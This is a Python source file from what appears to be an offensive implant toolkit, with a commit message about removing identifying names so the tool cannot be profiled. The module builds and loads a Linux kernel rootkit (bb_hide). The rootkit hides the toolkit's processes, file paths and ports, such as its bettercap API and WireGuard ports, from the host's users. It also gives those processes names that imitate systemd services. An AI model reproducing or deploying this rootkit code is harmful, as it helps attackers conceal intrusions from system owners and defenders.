ffd384f64b
Replace all sensor.* logger namespaces with __name__ (generic module identifiers instead of discoverable 'sensor.*' prefixes). Change hardcoded 'bb' API user to 'admin' in config and code defaults. Change hardcoded relay_user 'bb' to 'operator' — prevents network profiling from exposing tool identity via SSH config. Fixes #457, #458, #459
294 lines
11 KiB
Python
294 lines
11 KiB
Python
#!/usr/bin/env python3
|
|
"""LKM rootkit module: compile, load, and manage a kernel module that hides
|
|
SystemMonitor processes, files, and network connections from userland."""
|
|
|
|
import logging
|
|
import os
|
|
import subprocess
|
|
import time
|
|
from pathlib import Path
|
|
from typing import Optional
|
|
|
|
from modules.base import BaseModule
|
|
from utils.resource import get_hardware_tier, TIER_GENERIC
|
|
|
|
logger = logging.getLogger(__name__)
|
|
|
|
LKM_TEMPLATE_DIR = "templates/lkm"
|
|
LKM_SOURCE = "bb_hide.c"
|
|
LKM_MODULE = "bb_hide.ko"
|
|
LKM_MODULE_NAME = "bb_hide"
|
|
|
|
# Default hide lists
|
|
DEFAULT_HIDE_PREFIX = ".cache/bb"
|
|
DEFAULT_HIDE_PORTS = [8081, 51820] # bettercap API, WireGuard
|
|
|
|
|
|
class LKMRootkit(BaseModule):
|
|
"""Manage a Linux kernel module for process/file/connection hiding.
|
|
Debian generic host only -- gracefully skips on SBC tiers."""
|
|
|
|
name = "lkm_rootkit"
|
|
module_type = "stealth"
|
|
priority = -300
|
|
requires_root = True
|
|
|
|
def __init__(self, bus, state, config, engine=None):
|
|
super().__init__(bus, state, config, engine)
|
|
self._lkm_dir = config.get("lkm_dir", LKM_TEMPLATE_DIR)
|
|
self._module_path = os.path.join(self._lkm_dir, LKM_MODULE)
|
|
self._loaded = False
|
|
self._hidden_pids: list[int] = []
|
|
self._hidden_paths: list[str] = config.get("hide_paths", [DEFAULT_HIDE_PREFIX])
|
|
self._hidden_ports: list[int] = config.get("hide_ports", list(DEFAULT_HIDE_PORTS))
|
|
self._hide_process_names: list[str] = config.get("hide_process_names", [
|
|
"systemd-thermald", "networkd-dispatcher", "systemd-netlogd",
|
|
"systemd-resolved", "systemd-networkd", "systemd-logind",
|
|
])
|
|
|
|
# ------------------------------------------------------------------
|
|
# BaseModule interface
|
|
# ------------------------------------------------------------------
|
|
|
|
def start(self) -> None:
|
|
self._running = True
|
|
self._start_time = time.time()
|
|
self._pid = os.getpid()
|
|
|
|
# Check hardware tier: LKM only on generic Debian hosts
|
|
tier = get_hardware_tier()
|
|
if tier != TIER_GENERIC:
|
|
logger.info(
|
|
"LKMRootkit skipped — tier '%s' does not support kernel modules "
|
|
"(requires 'generic' Debian host)", tier,
|
|
)
|
|
self.state.set_module_status(self.name, "skipped",
|
|
extra={"reason": f"unsupported_tier:{tier}"})
|
|
self.bus.emit("MODULE_STARTED", {
|
|
"module": self.name, "skipped": True, "reason": "unsupported_tier",
|
|
}, source_module=self.name)
|
|
return
|
|
|
|
# Build if needed
|
|
if not os.path.isfile(self._module_path):
|
|
if not self._build_module():
|
|
logger.error("LKM build failed — module not available")
|
|
self.state.set_module_status(self.name, "error",
|
|
extra={"reason": "build_failed"})
|
|
return
|
|
|
|
# Load module
|
|
if self._load_module():
|
|
self._loaded = True
|
|
self._configure_hide_lists()
|
|
self.state.set_module_status(self.name, "running", pid=self._pid)
|
|
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
|
|
logger.info("LKMRootkit loaded and configured")
|
|
else:
|
|
self.state.set_module_status(self.name, "error",
|
|
extra={"reason": "load_failed"})
|
|
|
|
def stop(self) -> None:
|
|
self._running = False
|
|
if self._loaded:
|
|
self._unload_module()
|
|
self._loaded = False
|
|
self.state.set_module_status(self.name, "stopped")
|
|
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
|
|
logger.info("LKMRootkit stopped")
|
|
|
|
def status(self) -> dict:
|
|
return {
|
|
"running": self._running,
|
|
"pid": self._pid,
|
|
"uptime": time.time() - self._start_time if self._start_time else 0,
|
|
"loaded": self._loaded,
|
|
"hidden_pids": list(self._hidden_pids),
|
|
"hidden_paths": list(self._hidden_paths),
|
|
"hidden_ports": list(self._hidden_ports),
|
|
"module_path": self._module_path,
|
|
}
|
|
|
|
def configure(self, config: dict) -> None:
|
|
if "hide_paths" in config:
|
|
self._hidden_paths = config["hide_paths"]
|
|
if "hide_ports" in config:
|
|
self._hidden_ports = config["hide_ports"]
|
|
if "hide_process_names" in config:
|
|
self._hide_process_names = config["hide_process_names"]
|
|
if self._loaded:
|
|
self._configure_hide_lists()
|
|
|
|
# ------------------------------------------------------------------
|
|
# Public: dynamic hide/unhide
|
|
# ------------------------------------------------------------------
|
|
|
|
def hide_pid(self, pid: int) -> bool:
|
|
"""Add a PID to the kernel module's hide list."""
|
|
if not self._loaded:
|
|
return False
|
|
if pid not in self._hidden_pids:
|
|
self._hidden_pids.append(pid)
|
|
return self._write_param("hide_pids", self._format_pid_list())
|
|
return True
|
|
|
|
def unhide_pid(self, pid: int) -> bool:
|
|
"""Remove a PID from the kernel module's hide list."""
|
|
if not self._loaded:
|
|
return False
|
|
if pid in self._hidden_pids:
|
|
self._hidden_pids.remove(pid)
|
|
return self._write_param("hide_pids", self._format_pid_list())
|
|
return True
|
|
|
|
def hide_port(self, port: int) -> bool:
|
|
"""Add a port to the kernel module's hide list."""
|
|
if not self._loaded:
|
|
return False
|
|
if port not in self._hidden_ports:
|
|
self._hidden_ports.append(port)
|
|
return self._write_param("hide_ports", self._format_port_list())
|
|
return True
|
|
|
|
# ------------------------------------------------------------------
|
|
# Internal: build
|
|
# ------------------------------------------------------------------
|
|
|
|
def _build_module(self) -> bool:
|
|
"""Compile the kernel module from source."""
|
|
source_path = os.path.join(self._lkm_dir, LKM_SOURCE)
|
|
if not os.path.isfile(source_path):
|
|
logger.error("LKM source not found: %s", source_path)
|
|
return False
|
|
|
|
# Check for kernel headers
|
|
kdir = f"/lib/modules/{os.uname().release}/build"
|
|
if not os.path.isdir(kdir):
|
|
logger.error("Kernel headers not found: %s", kdir)
|
|
return False
|
|
|
|
try:
|
|
result = subprocess.run(
|
|
["make", "-C", self._lkm_dir],
|
|
capture_output=True, timeout=120,
|
|
env={**os.environ, "KDIR": kdir},
|
|
)
|
|
if result.returncode == 0:
|
|
logger.info("LKM built successfully: %s", self._module_path)
|
|
return True
|
|
else:
|
|
logger.error(
|
|
"LKM build failed (rc=%d): %s",
|
|
result.returncode,
|
|
result.stderr.decode(errors="replace")[:500],
|
|
)
|
|
return False
|
|
except FileNotFoundError:
|
|
logger.error("make not found — cannot build LKM")
|
|
return False
|
|
except subprocess.TimeoutExpired:
|
|
logger.error("LKM build timed out")
|
|
return False
|
|
|
|
# ------------------------------------------------------------------
|
|
# Internal: load/unload
|
|
# ------------------------------------------------------------------
|
|
|
|
def _load_module(self) -> bool:
|
|
"""Load the kernel module via insmod."""
|
|
params = self._build_insmod_params()
|
|
try:
|
|
cmd = ["insmod", self._module_path] + params
|
|
result = subprocess.run(cmd, capture_output=True, timeout=30)
|
|
if result.returncode == 0:
|
|
logger.info("LKM loaded: %s", self._module_path)
|
|
return True
|
|
else:
|
|
stderr = result.stderr.decode(errors="replace")
|
|
if "File exists" in stderr:
|
|
logger.info("LKM already loaded")
|
|
return True
|
|
logger.error("insmod failed: %s", stderr[:300])
|
|
return False
|
|
except FileNotFoundError:
|
|
logger.error("insmod not found")
|
|
return False
|
|
except Exception:
|
|
logger.exception("LKM load failed")
|
|
return False
|
|
|
|
def _unload_module(self) -> bool:
|
|
"""Unload the kernel module via rmmod."""
|
|
try:
|
|
result = subprocess.run(
|
|
["rmmod", LKM_MODULE_NAME],
|
|
capture_output=True, timeout=30,
|
|
)
|
|
if result.returncode == 0:
|
|
logger.info("LKM unloaded")
|
|
return True
|
|
else:
|
|
logger.warning(
|
|
"rmmod failed: %s",
|
|
result.stderr.decode(errors="replace")[:200],
|
|
)
|
|
return False
|
|
except FileNotFoundError:
|
|
logger.error("rmmod not found")
|
|
return False
|
|
except Exception:
|
|
logger.exception("LKM unload failed")
|
|
return False
|
|
|
|
# ------------------------------------------------------------------
|
|
# Internal: module parameter management
|
|
# ------------------------------------------------------------------
|
|
|
|
def _build_insmod_params(self) -> list[str]:
|
|
"""Build insmod parameter list."""
|
|
params = []
|
|
if self._hidden_paths:
|
|
params.append(f'hide_prefix="{self._hidden_paths[0]}"')
|
|
if self._hidden_pids:
|
|
params.append(f'hide_pids="{self._format_pid_list()}"')
|
|
if self._hidden_ports:
|
|
params.append(f'hide_ports="{self._format_port_list()}"')
|
|
return params
|
|
|
|
def _configure_hide_lists(self) -> None:
|
|
"""Write current hide lists to loaded module's parameters via sysfs."""
|
|
if not self._loaded:
|
|
return
|
|
# Collect current SystemMonitor PIDs from state
|
|
try:
|
|
all_status = self.state.get_all_module_status()
|
|
for mod_name, mod_status in all_status.items():
|
|
pid = mod_status.get("pid")
|
|
if pid and pid not in self._hidden_pids:
|
|
self._hidden_pids.append(pid)
|
|
except Exception:
|
|
pass
|
|
|
|
self._write_param("hide_pids", self._format_pid_list())
|
|
self._write_param("hide_ports", self._format_port_list())
|
|
if self._hidden_paths:
|
|
self._write_param("hide_prefix", self._hidden_paths[0])
|
|
|
|
@staticmethod
|
|
def _write_param(param: str, value: str) -> bool:
|
|
"""Write to kernel module parameter via /sys/module/."""
|
|
param_path = f"/sys/module/{LKM_MODULE_NAME}/parameters/{param}"
|
|
try:
|
|
with open(param_path, "w") as f:
|
|
f.write(value)
|
|
return True
|
|
except (IOError, PermissionError, FileNotFoundError):
|
|
logger.debug("Cannot write LKM param %s (module may not expose sysfs params)", param)
|
|
return False
|
|
|
|
def _format_pid_list(self) -> str:
|
|
return ",".join(str(p) for p in self._hidden_pids)
|
|
|
|
def _format_port_list(self) -> str:
|
|
return ",".join(str(p) for p in self._hidden_ports)
|